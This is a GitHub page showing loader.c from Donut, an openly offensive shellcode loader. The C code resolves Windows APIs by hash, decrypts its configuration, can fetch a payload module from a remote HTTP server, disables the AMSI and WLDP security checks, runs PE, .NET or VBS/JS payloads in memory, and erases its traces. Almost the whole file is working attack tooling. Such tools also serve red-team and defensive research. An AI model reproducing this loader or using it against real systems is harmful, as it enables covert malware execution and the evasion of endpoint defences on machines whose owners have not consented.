-
Notifications
You must be signed in to change notification settings - Fork 748
Expand file tree
/
Copy pathloader.c
More file actions
438 lines (363 loc) · 15.1 KB
/
Copy pathloader.c
File metadata and controls
438 lines (363 loc) · 15.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
/**
BSD 3-Clause License
Copyright (c) 2019, TheWover, Odzhan. All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this
list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimer in the documentation
and/or other materials provided with the distribution.
* Neither the name of the copyright holder nor the names of its
contributors may be used to endorse or promote products derived from
this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#include "loader.h"
DWORD MainProc(PDONUT_INSTANCE inst);
HANDLE DonutLoader(PDONUT_INSTANCE inst) {
CreateThread_t _CreateThread;
GetThreadContext_t _GetThreadContext;
GetCurrentThread_t _GetCurrentThread;
NtContinue_t _NtContinue;
ULONG64 hash;
HANDLE h = NULL;
CONTEXT c;
// create thread and execute original entrypoint?
if(inst->oep != 0) {
DPRINT("Resolving address of CreateThread");
hash = inst->api.hash[ (offsetof(DONUT_INSTANCE, api.CreateThread) - offsetof(DONUT_INSTANCE, api)) / sizeof(ULONG_PTR)];
_CreateThread = (CreateThread_t)xGetProcAddress(inst, hash, inst->iv);
// api resolved?
if(_CreateThread != NULL) {
// create new thread
DPRINT("Creating new thread");
h = _CreateThread(NULL, 0, ADR(LPTHREAD_START_ROUTINE, MainProc), (LPVOID)inst, 0, NULL);
} else {
DPRINT("FAILED");
return (HANDLE)-1;
}
DPRINT("Resolving address of NtContinue");
hash = inst->api.hash[ (offsetof(DONUT_INSTANCE, api.NtContinue) - offsetof(DONUT_INSTANCE, api)) / sizeof(ULONG_PTR)];
_NtContinue = (NtContinue_t)xGetProcAddress(inst, hash, inst->iv);
DPRINT("Resolving address of GetThreadContext");
hash = inst->api.hash[ (offsetof(DONUT_INSTANCE, api.GetThreadContext) - offsetof(DONUT_INSTANCE, api)) / sizeof(ULONG_PTR)];
_GetThreadContext = (GetThreadContext_t)xGetProcAddress(inst, hash, inst->iv);
DPRINT("Resolving address of GetCurrentThread");
hash = inst->api.hash[ (offsetof(DONUT_INSTANCE, api.GetCurrentThread) - offsetof(DONUT_INSTANCE, api)) / sizeof(ULONG_PTR)];
_GetCurrentThread = (GetCurrentThread_t)xGetProcAddress(inst, hash, inst->iv);
if(_NtContinue != NULL && _GetThreadContext != NULL && _GetCurrentThread != NULL) {
c.ContextFlags = CONTEXT_FULL;
_GetThreadContext(_GetCurrentThread(), &c);
#ifdef _WIN64
c.Rip = inst->oep;
c.Rsp &= -16;
#else
c.Eip = inst->oep;
c.Esp &= -4;
#endif
DPRINT("Calling NtContinue");
//__debugbreak();
_NtContinue(&c, FALSE);
}
} else {
// execute in existing thread
MainProc(inst);
}
return h;
}
DWORD MainProc(PDONUT_INSTANCE inst) {
ULONG i, ofs, wspace, fspace, len;
ULONG64 sig;
DONUT_ASSEMBLY assembly;
PDONUT_MODULE mod, unpck;
VirtualAlloc_t _VirtualAlloc;
VirtualFree_t _VirtualFree;
RtlExitUserProcess_t _RtlExitUserProcess;
LPVOID pv, ws;
ULONG64 hash;
BOOL disabled, term;
NTSTATUS nts;
PCHAR str;
CHAR path[MAX_PATH];
DPRINT("Maru IV : %" PRIX64, inst->iv);
hash = inst->api.hash[ (offsetof(DONUT_INSTANCE, api.VirtualAlloc) - offsetof(DONUT_INSTANCE, api)) / sizeof(ULONG_PTR)];
DPRINT("Resolving address for VirtualAlloc() : %" PRIX64, hash);
_VirtualAlloc = (VirtualAlloc_t)xGetProcAddress(inst, hash, inst->iv);
hash = inst->api.hash[ (offsetof(DONUT_INSTANCE, api.VirtualFree) - offsetof(DONUT_INSTANCE, api)) / sizeof(ULONG_PTR)];
DPRINT("Resolving address for VirtualFree() : %" PRIX64, hash);
_VirtualFree = (VirtualFree_t) xGetProcAddress(inst, hash, inst->iv);
hash = inst->api.hash[ (offsetof(DONUT_INSTANCE, api.RtlExitUserProcess) - offsetof(DONUT_INSTANCE, api)) / sizeof(ULONG_PTR)];
DPRINT("Resolving address for RtlExitUserProcess() : %" PRIX64, hash);
_RtlExitUserProcess = (RtlExitUserProcess_t) xGetProcAddress(inst, hash, inst->iv);
if(_VirtualAlloc == NULL || _VirtualFree == NULL || _RtlExitUserProcess == NULL) {
DPRINT("FAILED!.");
return -1;
}
DPRINT("VirtualAlloc : %p VirtualFree : %p",
(LPVOID)_VirtualAlloc, (LPVOID)_VirtualFree);
DPRINT("Allocating %i bytes of RW memory", inst->len);
pv = _VirtualAlloc(NULL, inst->len, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(pv == NULL) {
DPRINT("Memory allocation failed...");
// terminate host process?
if(inst->exit_opt == DONUT_OPT_EXIT_PROCESS) {
DPRINT("Terminating host process");
_RtlExitUserProcess(0);
}
return -1;
}
DPRINT("Copying %i bytes of data to memory %p", inst->len, pv);
Memcpy(pv, inst, inst->len);
inst = (PDONUT_INSTANCE)pv;
DPRINT("Zero initializing PDONUT_ASSEMBLY");
Memset(&assembly, 0, sizeof(assembly));
// if encryption used
if(inst->entropy == DONUT_ENTROPY_DEFAULT) {
PBYTE inst_data;
// load pointer to data just past len + key
inst_data = (PBYTE)inst + offsetof(DONUT_INSTANCE, api_cnt);
DPRINT("Decrypting %li bytes of instance", inst->len);
donut_decrypt(inst->key.mk,
inst->key.ctr,
inst_data,
inst->len - offsetof(DONUT_INSTANCE, api_cnt));
DPRINT("Generating hash to verify decryption");
ULONG64 mac = maru(inst->sig, inst->iv);
DPRINT("Instance : %"PRIX64" | Result : %"PRIX64, inst->mac, mac);
if(mac != inst->mac) {
DPRINT("Decryption of instance failed");
goto erase_memory;
}
}
DPRINT("Resolving LoadLibraryA");
inst->api.addr[0] = xGetProcAddress(inst, inst->api.hash[0], inst->iv);
if(inst->api.addr[0] == NULL) return -1;
str = (PCHAR)inst->dll_names;
// load the DLL required
for(;;) {
// store string until null byte or semi-colon encountered
for(i=0; str[i] != '\0' && str[i] !=';' && i<MAX_PATH; i++) path[i] = str[i];
// nothing stored? end
if(i == 0) break;
// skip name plus one for separator
str += (i + 1);
// store null terminator
path[i] = '\0';
DPRINT("Loading %s", path);
inst->api.LoadLibraryA(path);
}
DPRINT("Resolving %i API", inst->api_cnt);
for(i=1; i<inst->api_cnt; i++) {
DPRINT("Resolving API address for %016llX", inst->api.hash[i]);
inst->api.addr[i] = xGetProcAddress(inst, inst->api.hash[i], inst->iv);
if(inst->api.addr[i] == NULL) {
DPRINT("Failed to resolve API");
goto erase_memory;
}
}
if(inst->type == DONUT_INSTANCE_HTTP) {
DPRINT("Module is stored on remote HTTP server.");
if(!DownloadFromHTTP(inst)) goto erase_memory;
mod = inst->module.p;
} else
if(inst->type == DONUT_INSTANCE_DNS) {
DPRINT("Module is stored on remote DNS server. (Currently unsupported)");
goto erase_memory;
//if(!DownloadFromDNS(inst)) goto erase_memory;
mod = inst->module.p;
} else
if(inst->type == DONUT_INSTANCE_EMBED) {
DPRINT("Module is embedded.");
mod = (PDONUT_MODULE)&inst->module.x;
}
// try bypassing AMSI and WLDP?
if(inst->bypass != DONUT_BYPASS_NONE) {
// Try to disable AMSI
disabled = DisableAMSI(inst);
DPRINT("DisableAMSI %s", disabled ? "OK" : "FAILED");
if(!disabled && inst->bypass == DONUT_BYPASS_ABORT)
goto erase_memory;
// Try to disable WLDP
disabled = DisableWLDP(inst);
DPRINT("DisableWLDP %s", disabled ? "OK" : "FAILED");
if(!disabled && inst->bypass == DONUT_BYPASS_ABORT)
goto erase_memory;
}
// module is compressed?
if(mod->compress != DONUT_COMPRESS_NONE) {
DPRINT("Compression engine is %"PRIx32, mod->compress);
DPRINT("Allocating %zd bytes of memory for decompressed file and module information",
mod->len + sizeof(DONUT_MODULE));
// allocate memory for module information + size of decompressed data
unpck = (PDONUT_MODULE)_VirtualAlloc(
NULL, ((sizeof(DONUT_MODULE) + mod->len) -4096) + 4096,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(unpck == NULL) goto erase_memory;
// copy the existing information to new block
DPRINT("Duplicating DONUT_MODULE");
Memcpy(unpck, mod, sizeof(DONUT_MODULE));
// decompress module data into new block
DPRINT("Decompressing %"PRId32 " -> %"PRId32, mod->zlen, mod->len);
if(mod->compress == DONUT_COMPRESS_LZNT1 ||
mod->compress == DONUT_COMPRESS_XPRESS ||
mod->compress == DONUT_COMPRESS_XPRESS_HUFF)
{
nts = inst->api.RtlGetCompressionWorkSpaceSize(
(mod->compress - 1) | COMPRESSION_ENGINE_MAXIMUM, &wspace, &fspace);
if(nts != 0) {
DPRINT("RtlGetCompressionWorkSpaceSize failed with %"PRIX32, nts);
goto erase_memory;
}
DPRINT("WorkSpace size : %"PRId32" | Fragment size : %"PRId32, wspace, fspace);
//ws = (PDONUT_MODULE)_VirtualAlloc(
// NULL, wspace, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
DPRINT("Decompressing with RtlDecompressBuffer(%s)",
mod->compress == DONUT_COMPRESS_LZNT1 ? "LZNT" :
mod->compress == DONUT_COMPRESS_XPRESS ? "XPRESS" : "XPRESS HUFFMAN");
nts = inst->api.RtlDecompressBuffer(
(mod->compress - 1) | COMPRESSION_ENGINE_MAXIMUM,
(PUCHAR)unpck->data, mod->len,
(PUCHAR)&mod->data, mod->zlen, &len);
//_VirtualFree(ws, 0, MEM_RELEASE | MEM_DECOMMIT);
if(nts == 0) {
// assign pointer to mod
mod = unpck;
} else {
DPRINT("RtlDecompressBuffer failed with %"PRIX32, nts);
goto erase_memory;
}
} else if(mod->compress == DONUT_COMPRESS_APLIB) {
DPRINT("Decompressing with aPLib");
aP_depack((PUCHAR)mod->data, (PUCHAR)unpck->data);
DPRINT("Done");
mod = unpck;
} else {
//
}
}
DPRINT("Checking type of module");
// unmanaged EXE/DLL?
if(mod->type == DONUT_MODULE_DLL ||
mod->type == DONUT_MODULE_EXE) {
RunPE(inst, mod);
} else
// .NET EXE/DLL?
if(mod->type == DONUT_MODULE_NET_DLL ||
mod->type == DONUT_MODULE_NET_EXE)
{
if(LoadAssembly(inst, mod, &assembly)) {
RunAssembly(inst, mod, &assembly);
}
FreeAssembly(inst, &assembly);
} else
// vbs or js?
if(mod->type == DONUT_MODULE_VBS ||
mod->type == DONUT_MODULE_JS)
{
RunScript(inst, mod);
}
erase_memory:
// if module was downloaded
if(inst->type == DONUT_INSTANCE_HTTP ||
inst->type == DONUT_INSTANCE_DNS)
{
if(inst->module.p != NULL) {
// overwrite memory with zeros
Memset(inst->module.p, 0, (DWORD)inst->mod_len);
// free memory
_VirtualFree(inst->module.p, 0, MEM_RELEASE | MEM_DECOMMIT);
inst->module.p = NULL;
}
}
// should we call RtlExitUserProcess?
term = (BOOL) (inst->exit_opt == DONUT_OPT_EXIT_PROCESS);
DPRINT("Erasing RW memory for instance");
Memset(inst, 0, inst->len);
DPRINT("Releasing RW memory for instance");
_VirtualFree(inst, 0, MEM_DECOMMIT | MEM_RELEASE);
if(term) {
DPRINT("Terminating host process");
// terminate host process
_RtlExitUserProcess(0);
}
DPRINT("Returning to caller");
// return to caller, which invokes RtlExitUserThread
return 0;
}
int ansi2unicode(PDONUT_INSTANCE inst, CHAR input[], WCHAR output[DONUT_MAX_NAME]) {
return inst->api.MultiByteToWideChar(CP_ACP, 0, input,
-1, output, DONUT_MAX_NAME);
}
#include "peb.c" // resolve functions in export table
#include "http_client.c" // Download module from HTTP server
//#include "dns_client.c" // Download module from DNS server
#include "inmem_dotnet.c" // .NET assemblies
#include "inmem_pe.c" // Unmanaged PE/DLL files
#include "inmem_script.c" // VBS/JS files
#include "bypass.c" // Bypass AMSI and WLDP
#include "getpc.c" // code stub to return program counter (always at the end!)
// the following code is *only* for development purposes
// given an instance file, it will run as if running on a target system
// attach a debugger to host process
#ifdef DEBUG
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/stat.h>
int main(int argc, char *argv[]) {
FILE *fd;
struct stat fs;
PDONUT_INSTANCE inst;
DWORD old;
HANDLE h;
if(argc != 2) {
printf(" [ usage: loader <instance>\n");
return 0;
}
// get size of instance
if(stat(argv[1], &fs) != 0) {
printf(" [ unable to obtain size of instance.\n");
return 0;
}
// zero size?
if(fs.st_size == 0) {
printf(" [ invalid instance.\n");
return 0;
}
// try open for reading
fd = fopen(argv[1], "rb");
if(fd == NULL) {
printf(" [ unable to open %s.\n", argv[1]);
return 0;
}
// allocate memory
inst = (PDONUT_INSTANCE)VirtualAlloc(NULL, fs.st_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if(inst != NULL) {
fread(inst, 1, fs.st_size, fd);
// change protection to PAGE_EXECUTE_READ
if(VirtualProtect((LPVOID)inst, fs.st_size, PAGE_EXECUTE_READ, &old)) {
printf("Running...");
// run payload with instance
h = DonutLoader(inst);
if(h != (HANDLE)-1 && inst->oep != 0) {
printf("\nWaiting...");
WaitForSingleObject(h, INFINITE);
}
}
// deallocate
VirtualFree((LPVOID)inst, 0, MEM_DECOMMIT | MEM_RELEASE);
}
fclose(fd);
return 0;
}
#endif